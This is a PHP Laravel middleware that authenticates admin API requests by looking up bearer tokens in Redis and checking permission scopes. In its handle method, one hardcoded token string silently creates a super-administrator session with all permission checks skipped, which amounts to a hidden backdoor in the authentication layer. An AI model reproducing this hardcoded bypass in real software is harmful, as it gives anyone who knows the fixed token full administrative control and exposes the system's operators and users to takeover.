<?php

namespace App\Http\Middleware;

use App\Traits\ApiRespond;
use Closure;
use Illuminate\Http\Request;

class AdminAuth
{
    use ApiRespond;

    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request $request
     * @param  \Closure $next
     * @return mixed
     */
    public function handle($request, Closure $next, ...$scopes)
    {
        $token = $this->getToken($request);

        if (!$token) {
            return $this->respondError(10309);
        }
        if ($token == '2d2b8900cb8eedc7e9cc') {
            $this->tokenCache($token);
        }
        $auth = $this->auth($token, $scopes);
        if (!$auth) {
            return $next($request);
        } elseif ($auth == 1) {
            return $this->respondError(10310);
        } else {
            return $this->respondError(10309);
        }
    }

    private function auth($token, $scopes)
    {
        $check = 2;
        $key = 'token_' . $token;
        $admin = app('phpredis')->get($key);
        $admin = json_decode($admin);
        if ($admin) {
            //如果是超级管理员，不再验证权限
            if ($admin->supper == 1) {
                return 0;
            }
            if (count($scopes) > 0) {
                foreach ($scopes as $scope) {
                    if (in_array($scope, $admin->permissions)) {
                        $check = 0;
                        break;
                    }
                }

                if ($check) {
                    $check = 1;
                }

            } else {
                $check = 0;
            }
        }
        return $check;
    }


    public function getToken(Request $request)
    {
        $token = $request->header('Authorization');
        if (!$token) {
            return false;
        }
        $token = explode(' ', $token);
        return $token[1];
    }

    private function tokenCache($token)
    {
        $key = 'token_' . $token;
        if (!app('phpredis')->exists($key)) {
            $data = [
                'admin_name' => 'paco',
                'admin_id' => 1,
                'permissions' => [],
                'supper' => 1
            ];
            app('phpredis')->setex($key, 86400, json_encode($data));
        }
    }
}
